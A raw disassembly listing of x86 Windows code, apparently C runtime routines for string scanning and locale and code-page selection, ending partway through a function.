loc_42FCC1: ; CODE XREF: sub_42F970+1Bj
mov off_45149C, offset word_4514A6
mov off_4514A0, offset word_4514A6
push 2
mov eax, dword_4EFBA8
push eax
call sub_419980
add esp, 8
push 2
mov ecx, dword_4EFBAC
push ecx
call sub_419980
add esp, 8
mov dword_4EFBA8, 0
mov dword_4EFBAC, 0
xor eax, eax
loc_42FD0C: ; CODE XREF: sub_42F970+30Dj
; sub_42F970+34Fj
mov esp, ebp
pop ebp
retn
sub_42F970 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FD10 proc near ; DATA XREF: .nsp0:00451B94o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_42FD10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FD20 proc near ; CODE XREF: .nsp0:00428A6Ep
; sub_429120+7Bp
var_24 = dword ptr -24h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+arg_4]
lea ecx, [ecx+0]
loc_42FD34: ; CODE XREF: sub_42FD20+1Fj
mov al, [edx]
or al, al
jz short loc_42FD41
inc edx
bts [esp+24h+var_24], eax
jmp short loc_42FD34
; ---------------------------------------------------------------------------
loc_42FD41: ; CODE XREF: sub_42FD20+18j
mov esi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
nop
loc_42FD48: ; CODE XREF: sub_42FD20+34j
inc ecx
mov al, [esi]
or al, al
jz short loc_42FD56
inc esi
bt [esp+24h+var_24], eax
jnb short loc_42FD48
loc_42FD56: ; CODE XREF: sub_42FD20+2Dj
mov eax, ecx
add esp, 20h
pop esi
leave
retn
sub_42FD20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FD60 proc near ; CODE XREF: .nsp0:0042898Dp
var_24 = dword ptr -24h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+arg_4]
lea ecx, [ecx+0]
loc_42FD74: ; CODE XREF: sub_42FD60+1Fj
mov al, [edx]
or al, al
jz short loc_42FD81
inc edx
bts [esp+24h+var_24], eax
jmp short loc_42FD74
; ---------------------------------------------------------------------------
loc_42FD81: ; CODE XREF: sub_42FD60+18j
mov esi, [ebp+arg_0]
loc_42FD84: ; CODE XREF: sub_42FD60+2Fj
mov al, [esi]
or al, al
jz short loc_42FD94
inc esi
bt [esp+24h+var_24], eax
jnb short loc_42FD84
lea eax, [esi-1]
loc_42FD94: ; CODE XREF: sub_42FD60+28j
add esp, 20h
pop esi
leave
retn
sub_42FD60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FDA0 proc near ; CODE XREF: sub_428F30+D3p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
cmp dword_4EFBF4, 0
jnz short loc_42FDD2
call sub_430870
test eax, eax
jz short loc_42FDC2
mov eax, dword_4F1380
mov [ebp+var_8], eax
jmp short loc_42FDC9
; ---------------------------------------------------------------------------
loc_42FDC2: ; CODE XREF: sub_42FDA0+16j
mov [ebp+var_8], offset sub_4308C0
loc_42FDC9: ; CODE XREF: sub_42FDA0+20j
mov ecx, [ebp+var_8]
mov dword_4EFBF4, ecx
loc_42FDD2: ; CODE XREF: sub_42FDA0+Dj
cmp [ebp+arg_0], 0
jnz short loc_42FDE2
call sub_4306C0
jmp loc_42FEAE
; ---------------------------------------------------------------------------
loc_42FDE2: ; CODE XREF: sub_42FDA0+36j
mov edx, [ebp+arg_0]
mov dword_4EFBE4, edx
cmp dword_4EFBE4, 0
jz short loc_42FE14
mov eax, dword_4EFBE4
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42FE14
push offset dword_4EFBE4
push 40h
push offset off_4523E0
call sub_42FFA0
add esp, 0Ch
loc_42FE14: ; CODE XREF: sub_42FDA0+52j
; sub_42FDA0+5Ej
mov edx, [ebp+arg_0]
add edx, 40h
mov dword_4EFBE8, edx
cmp dword_4EFBE8, 0
jz short loc_42FE49
mov eax, dword_4EFBE8
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42FE49
push offset dword_4EFBE8
push 16h
push offset off_452328
call sub_42FFA0
add esp, 0Ch
loc_42FE49: ; CODE XREF: sub_42FDA0+87j
; sub_42FDA0+93j
mov dword_4EFBEC, 0
cmp dword_4EFBE4, 0
jz short loc_42FE8D
mov edx, dword_4EFBE4
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42FE8D
cmp dword_4EFBE8, 0
jz short loc_42FE86
mov ecx, dword_4EFBE8
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42FE86
call sub_430030
jmp short loc_42FE8B
; ---------------------------------------------------------------------------
loc_42FE86: ; CODE XREF: sub_42FDA0+D0j
; sub_42FDA0+DDj
call sub_430420
loc_42FE8B: ; CODE XREF: sub_42FDA0+E4j
jmp short loc_42FEAE
; ---------------------------------------------------------------------------
loc_42FE8D: ; CODE XREF: sub_42FDA0+BAj
; sub_42FDA0+C7j
cmp dword_4EFBE8, 0
jz short loc_42FEA9
mov eax, dword_4EFBE8
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42FEA9
call sub_4305C0
jmp short loc_42FEAE
; ---------------------------------------------------------------------------
loc_42FEA9: ; CODE XREF: sub_42FDA0+F4j
; sub_42FDA0+100j
call sub_4306C0
loc_42FEAE: ; CODE XREF: sub_42FDA0+3Dj
; sub_42FDA0:loc_42FE8Bj ...
cmp dword_4EFBEC, 0
jnz short loc_42FEBE
xor eax, eax
jmp loc_42FF9C
; ---------------------------------------------------------------------------
loc_42FEBE: ; CODE XREF: sub_42FDA0+115j
mov edx, [ebp+arg_0]
add edx, 80h
push edx
call sub_4306F0
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42FEEC
mov eax, [ebp+var_4]
and eax, 0FFFFh
push eax
call dword_4F12DC ; IsValidCodePage
test eax, eax
jnz short loc_42FEF3
loc_42FEEC: ; CODE XREF: sub_42FDA0+137j
xor eax, eax
jmp loc_42FF9C
; ---------------------------------------------------------------------------
loc_42FEF3: ; CODE XREF: sub_42FDA0+14Aj
push 1
mov ecx, dword_4EFBD4
push ecx
call dword_4F12E0 ; IsValidLocale
test eax, eax
jnz short loc_42FF0D
xor eax, eax
jmp loc_42FF9C
; ---------------------------------------------------------------------------
loc_42FF0D: ; CODE XREF: sub_42FDA0+164j
cmp [ebp+arg_4], 0
jz short loc_42FF38
mov edx, [ebp+arg_4]
mov ax, word ptr dword_4EFBD4
mov [edx], ax
mov ecx, [ebp+arg_4]
mov dx, word ptr dword_4EFBF0
mov [ecx+2], dx
mov eax, [ebp+arg_4]
mov cx, word ptr [ebp+var_4]
mov [eax+4], cx
loc_42FF38: ; CODE XREF: sub_42FDA0+171j
cmp [ebp+arg_8], 0
jz short loc_42FF97
push 40h
mov edx, [ebp+arg_8]
push edx
push 1001h
mov eax, dword_4EFBD4
push eax
call dword_4EFBF4
test eax, eax
jnz short loc_42FF5D
xor eax, eax
jmp short loc_42FF9C
; ---------------------------------------------------------------------------
loc_42FF5D: ; CODE XREF: sub_42FDA0+1B7j
push 40h
mov ecx, [ebp+arg_8]
add ecx, 40h
push ecx
push 1002h
mov edx, dword_4EFBF0
push edx
call dword_4EFBF4
test eax, eax
jnz short loc_42FF80
xor eax, eax
jmp short loc_42FF9C
; ---------------------------------------------------------------------------
loc_42FF80: ; CODE XREF: sub_42FDA0+1DAj
push 0Ah
mov eax, [ebp+arg_8]
add eax, 80h
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_42AE00
add esp, 0Ch
loc_42FF97: ; CODE XREF: sub_42FDA0+19Cj
mov eax, 1
loc_42FF9C: ; CODE XREF: sub_42FDA0+119j
; sub_42FDA0+14Ej ...
mov esp, ebp
pop ebp
retn
sub_42FDA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FFA0 proc near ; CODE XREF: sub_42FDA0+6Cp
; sub_42FDA0+A1p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 1
mov [ebp+var_C], 0
loc_42FFB4: ; CODE XREF: sub_42FFA0:loc_43001Cj
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_4]
jg short loc_43001E
cmp [ebp+var_8], 0
jz short loc_43001E
mov eax, [ebp+var_C]
add eax, [ebp+arg_4]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*8]
push eax
mov ecx, [ebp+arg_8]
mov edx, [ecx]
push edx
call sub_41DBF0
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_430002
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*8+4]
mov eax, [ebp+arg_8]
mov [eax], edx
jmp short loc_43001C
; ---------------------------------------------------------------------------
loc_430002: ; CODE XREF: sub_42FFA0+4Fj
cmp [ebp+var_8], 0
jge short loc_430013
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+arg_4], ecx
jmp short loc_43001C
; ---------------------------------------------------------------------------
loc_430013: ; CODE XREF: sub_42FFA0+66j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_C], edx
loc_43001C: ; CODE XREF: sub_42FFA0+60j
; sub_42FFA0+71j
jmp short loc_42FFB4
; ---------------------------------------------------------------------------
loc_43001E: ; CODE XREF: sub_42FFA0+1Aj
; sub_42FFA0+20j
mov esp, ebp
pop ebp
retn
sub_42FFA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430030 proc near ; CODE XREF: sub_42FDA0+DFp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, dword_4EFBE4
push eax
call sub_418D00
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_4EFBE0, ecx
mov edx, dword_4EFBE8
push edx
call sub_418D00
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_4EFBD8, ecx
mov dword_4EFBD4, 0
cmp dword_4EFBE0, 0
jz short loc_430089
mov [ebp+var_4], 2
jmp short loc_43009B
; ---------------------------------------------------------------------------
loc_430089: ; CODE XREF: sub_430030+4Ej
mov edx, dword_4EFBE4
push edx
call sub_430AD0
add esp, 4
mov [ebp+var_4], eax
loc_43009B: ; CODE XREF: sub_430030+57j
mov eax, [ebp+var_4]
mov dword_4EFBDC, eax
push 1
push offset sub_4300F0
call dword_4F12D8 ; EnumSystemLocalesA
mov ecx, dword_4EFBEC
and ecx, 100h
test ecx, ecx
jz short loc_4300DC
mov edx, dword_4EFBEC
and edx, 200h
test edx, edx
jz short loc_4300DC
mov eax, dword_4EFBEC
and eax, 7
test eax, eax
jnz short loc_4300E6
loc_4300DC: ; CODE XREF: sub_430030+8Ej
; sub_430030+9Ej
mov dword_4EFBEC, 0
loc_4300E6: ; CODE XREF: sub_430030+AAj
mov esp, ebp
pop ebp
retn
sub_430030 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4300F0 proc near ; DATA XREF: sub_430030+75o
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_430A50
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4EFBD8
neg edx
sbb edx, edx
and edx, 0FFFFF005h
add edx, 1002h
push edx
mov eax, [ebp+var_7C]
push eax
call dword_4EFBF4
test eax, eax
jnz short loc_430144
mov dword_4EFBEC, 0
mov eax, 1
jmp loc_43040E
; ---------------------------------------------------------------------------
loc_430144: ; CODE XREF: sub_4300F0+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4EFBE8
push edx
call sub_41DBF0
add esp, 8
test eax, eax
jnz loc_43027F
push 78h
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4EFBE0
neg ecx
sbb ecx, ecx
and ecx, 0FFFFF002h
add ecx, 1001h
push ecx
mov edx, [ebp+var_7C]
push edx
call dword_4EFBF4
test eax, eax
jnz short loc_43019E
mov dword_4EFBEC, 0
mov eax, 1
jmp loc_43040E
; ---------------------------------------------------------------------------
loc_43019E: ; CODE XREF: sub_4300F0+98j
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4EFBE4
push ecx
call sub_41DBF0
add esp, 8
test eax, eax
jnz short loc_4301E0
mov edx, dword_4EFBEC
or edx, 304h
mov dword_4EFBEC, edx
mov eax, [ebp+var_7C]
mov dword_4EFBF0, eax
mov ecx, dword_4EFBF0
mov dword_4EFBD4, ecx
jmp loc_43027F
; ---------------------------------------------------------------------------
loc_4301E0: ; CODE XREF: sub_4300F0+C3j
mov edx, dword_4EFBEC
and edx, 2
test edx, edx
jnz loc_43027F
cmp dword_4EFBDC, 0
jz short loc_43024D
mov eax, dword_4EFBDC
push eax
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4EFBE4
push edx
call sub_433E00
add esp, 0Ch
test eax, eax
jnz short loc_43024D
mov eax, dword_4EFBEC
or al, 2
mov dword_4EFBEC, eax
mov ecx, [ebp+var_7C]
mov dword_4EFBF0, ecx
mov edx, dword_4EFBE4
push edx
call sub_418D00
add esp, 4
cmp eax, dword_4EFBDC
jnz short loc_43024B
mov eax, [ebp+var_7C]
mov dword_4EFBD4, eax
loc_43024B: ; CODE XREF: sub_4300F0+151j
jmp short loc_43027F
; ---------------------------------------------------------------------------
loc_43024D: ; CODE XREF: sub_4300F0+108j
; sub_4300F0+125j
mov ecx, dword_4EFBEC
and ecx, 1
test ecx, ecx
jnz short loc_43027F
mov edx, [ebp+var_7C]
push edx
call sub_430790
add esp, 4
test eax, eax
jz short loc_43027F
mov eax, dword_4EFBEC
or al, 1
mov dword_4EFBEC, eax
mov ecx, [ebp+var_7C]
mov dword_4EFBF0, ecx
loc_43027F: ; CODE XREF: sub_4300F0+69j
; sub_4300F0+EBj ...
mov edx, dword_4EFBEC
and edx, 300h
cmp edx, 300h
jz loc_430401
push 78h
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4EFBE0
neg ecx
sbb ecx, ecx
and ecx, 0FFFFF002h
add ecx, 1001h
push ecx
mov edx, [ebp+var_7C]
push edx
call dword_4EFBF4
test eax, eax
jnz short loc_4302D6
mov dword_4EFBEC, 0
mov eax, 1
jmp loc_43040E
; ---------------------------------------------------------------------------
loc_4302D6: ; CODE XREF: sub_4300F0+1D0j
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4EFBE4
push ecx
call sub_41DBF0
add esp, 8
test eax, eax
jnz loc_4303A0
mov edx, dword_4EFBEC
or dh, 2
mov dword_4EFBEC, edx
cmp dword_4EFBE0, 0
jz short loc_43032A
mov eax, dword_4EFBEC
or ah, 1
mov dword_4EFBEC, eax
cmp dword_4EFBD4, 0
jnz short loc_430328
mov ecx, [ebp+var_7C]
mov dword_4EFBD4, ecx
loc_430328: ; CODE XREF: sub_4300F0+22Dj
jmp short loc_43039E
; ---------------------------------------------------------------------------
loc_43032A: ; CODE XREF: sub_4300F0+217j
cmp dword_4EFBDC, 0
jz short loc_43037F
mov edx, dword_4EFBE4
push edx
call sub_418D00
add esp, 4
cmp eax, dword_4EFBDC
jnz short loc_43037F
push 1
mov eax, [ebp+var_7C]
push eax
call sub_4307E0
add esp, 8
test eax, eax
jz short loc_43037D
mov ecx, dword_4EFBEC
or ch, 1
mov dword_4EFBEC, ecx
cmp dword_4EFBD4, 0
jnz short loc_43037D
mov edx, [ebp+var_7C]
mov dword_4EFBD4, edx
loc_43037D: ; CODE XREF: sub_4300F0+26Aj
; sub_4300F0+282j
jmp short loc_43039E
; ---------------------------------------------------------------------------
loc_43037F: ; CODE XREF: sub_4300F0+241j
; sub_4300F0+258j
mov eax, dword_4EFBEC
or ah, 1
mov dword_4EFBEC, eax
cmp dword_4EFBD4, 0
jnz short loc_43039E
mov ecx, [ebp+var_7C]
mov dword_4EFBD4, ecx
loc_43039E: ; CODE XREF: sub_4300F0:loc_430328j
; sub_4300F0:loc_43037Dj ...
jmp short loc_430401
; ---------------------------------------------------------------------------
loc_4303A0: ; CODE XREF: sub_4300F0+1FBj
cmp dword_4EFBE0, 0
jnz short loc_430401
cmp dword_4EFBDC, 0
jz short loc_430401
mov edx, dword_4EFBDC
push edx
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4EFBE4
push ecx
call sub_433E00
add esp, 0Ch
test eax, eax
jnz short loc_430401
push 0
mov edx, [ebp+var_7C]
push edx
call sub_4307E0
add esp, 8
test eax, eax
jz short loc_430401
mov eax, dword_4EFBEC
or ah, 1
mov dword_4EFBEC, eax
cmp dword_4EFBD4, 0
jnz short loc_430401
mov ecx, [ebp+var_7C]
mov dword_4EFBD4, ecx
loc_430401: ; CODE XREF: sub_4300F0+1A1j
; sub_4300F0:loc_43039Ej ...
mov eax, dword_4EFBEC
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_43040E: ; CODE XREF: sub_4300F0+4Fj
; sub_4300F0+A9j ...
mov esp, ebp
pop ebp
retn 4
sub_4300F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430420 proc near ; CODE XREF: sub_42FDA0:loc_42FE86p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, dword_4EFBE4
push eax
call sub_418D00
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_4EFBE0, ecx
cmp dword_4EFBE0, 0
jz short loc_430452
mov [ebp+var_4], 2
jmp short loc_430464
; ---------------------------------------------------------------------------
loc_430452: ; CODE XREF: sub_430420+27j
mov edx, dword_4EFBE4
push edx
call sub_430AD0
add esp, 4
mov [ebp+var_4], eax
loc_430464: ; CODE XREF: sub_430420+30j
mov eax, [ebp+var_4]
mov dword_4EFBDC, eax
push 1
push offset sub_4304A0
call dword_4F12D8 ; EnumSystemLocalesA
mov ecx, dword_4EFBEC
and ecx, 4
test ecx, ecx
jnz short loc_430490
mov dword_4EFBEC, 0
loc_430490: ; CODE XREF: sub_430420+64j
mov esp, ebp
pop ebp
retn
sub_430420 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4304A0 proc near ; DATA XREF: sub_430420+4Eo
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_430A50
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4EFBE0
neg edx
sbb edx, edx
and edx, 0FFFFF002h
add edx, 1001h
push edx
mov eax, [ebp+var_7C]
push eax
call dword_4EFBF4
test eax, eax
jnz short loc_4304F4
mov dword_4EFBEC, 0
mov eax, 1
jmp loc_4305B9
; ---------------------------------------------------------------------------
loc_4304F4: ; CODE XREF: sub_4304A0+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4EFBE4
push edx
call sub_41DBF0
add esp, 8
test eax, eax
jnz short loc_430549
cmp dword_4EFBE0, 0
jnz short loc_430526
push 1
mov eax, [ebp+var_7C]
push eax
call sub_4307E0
add esp, 8
test eax, eax
jz short loc_430547
loc_430526: ; CODE XREF: sub_4304A0+72j
mov ecx, [ebp+var_7C]
mov dword_4EFBF0, ecx
mov edx, dword_4EFBF0
mov dword_4EFBD4, edx
mov eax, dword_4EFBEC
or al, 4
mov dword_4EFBEC, eax
loc_430547: ; CODE XREF: sub_4304A0+84j
jmp short loc_4305AC
; ---------------------------------------------------------------------------
loc_430549: ; CODE XREF: sub_4304A0+69j
cmp dword_4EFBE0, 0
jnz short loc_4305AC
cmp dword_4EFBDC, 0
jz short loc_4305AC
mov ecx, dword_4EFBDC
push ecx
lea edx, [ebp+var_78]
push edx
mov eax, dword_4EFBE4
push eax
call sub_433E00
add esp, 0Ch
test eax, eax
jnz short loc_4305AC
push 0
mov ecx, [ebp+var_7C]
push ecx
call sub_4307E0
add esp, 8
test eax, eax
jz short loc_4305AC
mov edx, [ebp+var_7C]
mov dword_4EFBF0, edx
mov eax, dword_4EFBF0
mov dword_4EFBD4, eax
mov ecx, dword_4EFBEC
or ecx, 4
mov dword_4EFBEC, ecx
loc_4305AC: ; CODE XREF: sub_4304A0:loc_430547j
; sub_4304A0+B0j ...
mov eax, dword_4EFBEC
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_4305B9: ; CODE XREF: sub_4304A0+4Fj
mov esp, ebp
pop ebp
retn 4
sub_4304A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4305C0 proc near ; CODE XREF: sub_42FDA0+102p
push ebp
mov ebp, esp
mov eax, dword_4EFBE8
push eax
call sub_418D00
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_4EFBD8, ecx
push 1
push offset sub_430610
call dword_4F12D8 ; EnumSystemLocalesA
mov edx, dword_4EFBEC
and edx, 4
test edx, edx
jnz short loc_430603
mov dword_4EFBEC, 0
loc_430603: ; CODE XREF: sub_4305C0+37j
pop ebp
retn
sub_4305C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430610 proc near ; DATA XREF: sub_4305C0+21o
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_430A50
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4EFBD8
neg edx
sbb edx, edx
and edx, 0FFFFF005h
add edx, 1002h
push edx
mov eax, [ebp+var_7C]
push eax
call dword_4EFBF4
test eax, eax
jnz short loc_430661
mov dword_4EFBEC, 0
mov eax, 1
jmp short loc_4306B6
; ---------------------------------------------------------------------------
loc_430661: ; CODE XREF: sub_430610+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4EFBE8
push edx
call sub_41DBF0
add esp, 8
test eax, eax
jnz short loc_4306A9
mov eax, [ebp+var_7C]
push eax
call sub_430790
add esp, 4
test eax, eax
jz short loc_4306A9
mov ecx, [ebp+var_7C]
mov dword_4EFBF0, ecx
mov edx, dword_4EFBF0
mov dword_4EFBD4, edx
mov eax, dword_4EFBEC
or al, 4
mov dword_4EFBEC, eax
loc_4306A9: ; CODE XREF: sub_430610+66j
; sub_430610+76j
mov eax, dword_4EFBEC
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_4306B6: ; CODE XREF: sub_430610+4Fj
mov esp, ebp
pop ebp
retn 4
sub_430610 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4306C0 proc near ; CODE XREF: sub_42FDA0+38p
; sub_42FDA0:loc_42FEA9p
push ebp
mov ebp, esp
mov eax, dword_4EFBEC
or eax, 104h
mov dword_4EFBEC, eax
call dword_4F12D4 ; GetUserDefaultLCID
mov dword_4EFBF0, eax
mov ecx, dword_4EFBF0
mov dword_4EFBD4, ecx
pop ebp
retn
sub_4306C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4306F0 proc near ; CODE XREF: sub_42FDA0+128p
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jz short loc_43071B
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_43071B
push offset off_438D74
mov edx, [ebp+arg_0]
push edx
call sub_41C4C0
add esp, 8
test eax, eax
jnz short loc_430743
loc_43071B: ; CODE XREF: sub_4306F0+Aj
; sub_4306F0+14j
push 8
lea eax, [ebp+var_8]
push eax
push 1004h
mov ecx, dword_4EFBF0
push ecx
call dword_4EFBF4
test eax, eax
jnz short loc_43073B
xor eax, eax
jmp short loc_430787
; ---------------------------------------------------------------------------
loc_43073B: ; CODE XREF: sub_4306F0+45j
lea edx, [ebp+var_8]
mov [ebp+arg_0], edx
jmp short loc_43077B
; ---------------------------------------------------------------------------
loc_430743: ; CODE XREF: sub_4306F0+29j
push offset off_438D70
mov eax, [ebp+arg_0]
push eax
call sub_41C4C0
add esp, 8
test eax, eax
jnz short loc_43077B
push 8
lea ecx, [ebp+var_8]
push ecx
push 0Bh
mov edx, dword_4EFBF0
push edx
call dword_4EFBF4
test eax, eax
jnz short loc_430775
xor eax, eax
jmp short loc_430787
; ---------------------------------------------------------------------------
loc_430775: ; CODE XREF: sub_4306F0+7Fj
lea eax, [ebp+var_8]
mov [ebp+arg_0], eax
loc_43077B: ; CODE XREF: sub_4306F0+51j
; sub_4306F0+66j
mov ecx, [ebp+arg_0]
push ecx
call sub_41B2F0
add esp, 4
loc_430787: ; CODE XREF: sub_4306F0+49j
; sub_4306F0+83j
mov esp, ebp
pop ebp
retn
sub_4306F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430790 proc near ; CODE XREF: sub_4300F0+16Ep
; sub_430610+6Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov ax, [ebp+arg_0]
mov word ptr [ebp+var_4], ax
mov [ebp+var_8], 0
jmp short loc_4307B0
; ---------------------------------------------------------------------------
loc_4307A7: ; CODE XREF: sub_430790:loc_4307D4j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_4307B0: ; CODE XREF: sub_430790+15j
cmp [ebp+var_8], 0Ah
jnb short loc_4307D6
mov edx, [ebp+var_4]
and edx, 0FFFFh
mov eax, [ebp+var_8]
xor ecx, ecx
mov cx, word_452314[eax*2]
cmp edx, ecx
jnz short loc_4307D4
xor eax, eax
jmp short loc_4307DB
; ---------------------------------------------------------------------------
loc_4307D4: ; CODE XREF: sub_430790+3Ej
jmp short loc_4307A7
; ---------------------------------------------------------------------------
loc_4307D6: ; CODE XREF: sub_430790+24j
mov eax, 1
loc_4307DB: ; CODE XREF: sub_430790+42j
mov esp, ebp
pop ebp
retn
sub_430790 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4307E0 proc near ; CODE XREF: sub_4300F0+260p
; sub_4300F0+2E6p ...
var_7C = byte ptr -7Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7Ch
push esi
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 3FFh
and eax, 0FFFFh
or ah, 4
and eax, 0FFFFh
mov [ebp+var_4], eax
push 78h
lea ecx, [ebp+var_7C]
push ecx
push 1
mov edx, [ebp+var_4]
push edx
call dword_4EFBF4
test eax, eax
jnz short loc_43081E
xor eax, eax
jmp short loc_430862
; ---------------------------------------------------------------------------
loc_43081E: ; CODE XREF: sub_4307E0+38j
lea eax, [ebp+var_7C]
push eax
call sub_430A50
add esp, 4
cmp [ebp+arg_0], eax
jz short loc_43085D
cmp [ebp+arg_4], 0
jz short loc_43085D
mov ecx, dword_4EFBE4
push ecx
call sub_430AD0
add esp, 4
mov esi, eax
mov edx, dword_4EFBE4
push edx
call sub_418D00
add esp, 4
cmp esi, eax
jnz short loc_43085D
xor eax, eax
jmp short loc_430862
; ---------------------------------------------------------------------------
loc_43085D: ; CODE XREF: sub_4307E0+4Dj
; sub_4307E0+53j ...
mov eax, 1
loc_430862: ; CODE XREF: sub_4307E0+3Cj
; sub_4307E0+7Bj
pop esi
mov esp, ebp
pop ebp
retn
sub_4307E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430870 proc near ; CODE XREF: sub_42FDA0+Fp
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 98h
mov [ebp+var_94], 94h
lea eax, [ebp+var_94]
push eax
call dword_4F1384 ; GetVersionExA
test eax, eax
jz short loc_4308A9
cmp [ebp+var_84], 2
jnz short loc_4308A9
mov [ebp+var_98], 1
jmp short loc_4308B3
; ---------------------------------------------------------------------------
loc_4308A9: ; CODE XREF: sub_430870+22j
; sub_430870+2Bj
mov [ebp+var_98], 0
loc_4308B3: ; CODE XREF: sub_430870+37j
mov eax, [ebp+var_98]
mov esp, ebp
pop ebp
retn
sub_430870 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4308C0 proc near ; DATA XREF: sub_42FDA0:loc_42FDC2o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
